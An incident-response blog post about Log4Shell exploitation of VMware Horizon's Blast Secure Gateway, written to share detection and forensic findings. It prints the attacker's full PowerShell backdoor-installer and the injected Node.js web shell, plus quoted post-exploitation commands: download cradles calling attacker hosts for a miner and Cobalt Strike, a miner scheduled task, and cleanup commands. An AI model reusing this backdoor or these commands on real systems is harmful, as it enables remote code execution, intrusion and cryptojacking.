Log4shell on VMWare Horizon

Recently I performed a DFIR mission after successful exploitation of CVE-2021-44228 and since an advisory has already been published by the NHS in United Kingdom, I can talk about my experience on it.

Alessio Mangoni

Jan 11, 2022 • 8 min read

I've investigated on a backdoor being installed by an unknown actor on the Blast Secure Gateway.

Click on "Details" below for the last updates.

2022-01-26T18:30:00+00:00 Blackberry published a more detailed research

See the link in the "further reading" section. The Blackberry Research & Intelligence and Incident Response teams witness some post-exploitation activity that I added here as well.

One of those days at the SOC, 2021 is almost over and the shift is flooded by alerts on the recently discovered CVE-2021-44228.

The security shift under the Christmas holidays to me should be a moment to close incidents, send some wishes to the customers and focus on the (few) alerts triggered.

Not this year...

Thanks to the "Log4shell CVEs family".

"So it begins"

Everything began with the IDS triggering the following rule by FOX IT :

FOX-SRT – Exploit – Possible Rogue JNDI LDAP Bind to External Observed (CVE-2021-44228)

From their Gist :

Basically an internal server contacted "something" behind a public IP using the LDAP protocol on port 80; OK, pretty suspicious but we need evidence that our "something" replied with a malicious payload.

This was unfortunately indeed the case.

On the same split second another rule from the Emerging Threats ET Pro ruleset triggered:

ET ATTACK_RESPONSE Possible CVE-2021-44228 Payload via LDAPv3 Response M2

This time, with our internal server as a destination.

The situation gets scary pretty quickly and we retrieve part of the payload from our IDS; we decode it and after some magic receipts on our internal Cyberchef we are able to decode the inner payload hidden in the malicious Java class downloaded by the internal server as part of the successful exploitation.

The bad, the ugly and the payload

Turns out, it's a Powershell script:

powershell -c $path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('<REDACTED>')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG

We go full Incident Response practically immediately and the customer is alerted, the machine is put offline and a full forensics dump is discussed at the phone while the containment plan unravels.

While we wait for the forensic image, we decide to go deeper in order to understand what the Powershell is supposed to do, so we will know what to look for if it ran on the machine.

We found two public JoeSandbox analysis:

Performed pretty recently, but they bear no information since the first part of the script looks for a service named something like "VMBlastSG" which is not present on the sandbox.

From the machine logs, we see that the service VMBlastSG indeed restarted around the time of the malicious Java class download, so it must mean that the machine was running that service and that the Powershell script was executed.

Restart-Service -Force VMBlastSG

After some string formatting, it becomes also clear that the script looks for the path of the service VMBlastSG , it replaces nssm.exe (which is the service manager used by the VMWare Horizon component) with the file absg-worker.js under the folder "lib" in the path and it stores the path in a variable.

$path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};

So, we know that it looks for that "absg-worker.js" file, and since it restarts the service it might be to achieve persistence. This is clearly done on the second "replace" step:

(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\;", $expr}|Set-Content $path

Where, it replaces all occurences of the function "req.connection.end()" present in the library "absg-worker.js" with what is contained in the "$expr" variable.

A (back)door to heaven

Now, since we know that the attacker was able to achieve persistence by writing something used by the VMBlastSG service, we need to understand what.

After some formatting and "beautyfying" it becomes clear that "$expr" is a Javascript snippet:

req.connection.end();
            }

if (String(req.url).includes('<REDACTED>')) {
    try {
        replyError(req, res, 200, require('child_process').execSync(
            Buffer.from(req.headers['data'],
                'base64').toString('ascii')
        ).toString());
    } catch (err) {
        replyError(req, res, 400, err.stderr.toString());
    }
    return;
}

This is what is rewritten on every occurence of the "req.connection.end()" function present in the file "absg-worker.js" located under the folder "lib" relative to the location of nssm.exe when under the path of the service VMBlastSG.

The backdoor itself is pretty simple, it provides a specific URL (the "<REDACTED>" string) where the HTTP header "data" is decoded from base64 and executed on the system.

Amazing.. now what?

Well, that's it basically for now. At the time of writing, no further evidence has been found on the forensic image of the machine. Maybe the response was so quick that the backdoor was never used.

My personal guess is that the malicious actor(s) didn't want to expose their full toolkit from the start, the backdoor installation might be part of a multi-steps exploitation where the second step will occur in some days/weeks (or is happening right now?) and will be to call the still-active backdoors to move deeper in the victims network.

One thing that needs to be mentioned is that the service VMBlastSG is part of the "Blast Secure Gateway" which is included in the "Unified Access Gateway" and it needs to be enabled to be exploited.

After analysing the forensic image I also had no evidences from all the VMWare Horizon stored on the machine:

- vminst [root]\ProgramData\VMware\logs\vminst.log{date}.log

- vmmsi [root]\ProgramData\VMware\logs\vmmsi.log{date}.log

- VMwareHorizonClient
[root]\ProgramData\VMware\logs\VMwareHorizonClient{date}.log

- VMwareHorizonClientViewClientsx64
[root]\ProgramData\VMware\logs\VMwareHorizonClient{date}ViewClientsx64.log

- events-Cluster
[root]\ProgramData\VMware\VDM\events\events-Cluster-{HOSTNAME}-{date}.log

- edbtransactions?
[root]\ProgramData\VMware\VDM\ldap\data\edb{sequence}.log (which are
binary files)

- edb [root]\ProgramData\VMware\VDM\ldap\data\edb.log (which is a binary
file)

- SecurityGateway.log [root]\ProgramData\VMware\VDM\logs\PCoIP Secure
Gateway\SecurityGateway{date}.log

- catalina [root]\Program Files\VMWare\VMWare
View\Server\broker\logs\catalina{date}.log

- error [root]\Program Files\VMWare\VMWare
View\Server\messagebus\log\error.log-{date}.old

But maybe, you will have more luck than me; in the meantime, according to VMWare Horizon documentation:

Blast-Extreme-Display-Protocol-April2021-final.005-2

We should have evidences of the backdoor being used in the logs of the "Web Reverse Proxy" component in the "Unified Access Gateway", which I've already required.

Post-exploitation evidences (from the Blackberry blog)

Encoding Examples

cmd /C "powershell -NonI -W Hidden -NoP -Exec Bypass -Enc <Base64 Encoded Command>

powershell.exe -Enc <Base64 Encoded Command>

Typical Download Cradle

IEX (New-Object Net.WebClient).DownloadString(‘<URL>’)

Curl Download Attempt

cmd /C "curl <URL> | bash"

Cryptocurrency Miner Download Example

powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xms.ps1')

Scheduled Task Creation

"C:\Windows\system32\schtasks.exe" /create /F /sc minute /mo 1 /tn BrowserUpdate /tr
"C:\Windows\system32\config\systemprofile\AppData\Roaming\network02.exe --donate-level 1 -o b.oracleservice[.]top -o 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B"

Cleanup Examples

“C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\Oracle\Java\java.exe”

“C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'c:\\windows\\temp\\%'" delete

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\nTNLLnvWzl\pythonhs.exe

"C:\Windows\system32\cmd.exe" /c del /f /q %tmp%\sysupdate.exe

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\Administrator\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\schtasks.exe" /delete /tn * /F

Cobalt Strike Download Cradle

IEX ((New-Object System.Net.WebClient).DownloadString('hxxp://185.112.83[.]116:8080/drv'))

Cobalt Strike Beacon User-Agent String

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3; .NET CLR 2.0.50727)

Attribution-bandwagon

A report from Crowdstrike gives attribution to a similar observed activity to the APT "Acquatic Panda" but VMWare and Log4shell are too juicy as target that I would think every APT group might be interested.
Blackberry attributes the attacks to the Initial Access Broker "Prophet Spider".

TLP / MITRE ATT&CK / IOCs

TLP: White, aside from the <REDACTED> string that should be TLP:GREEN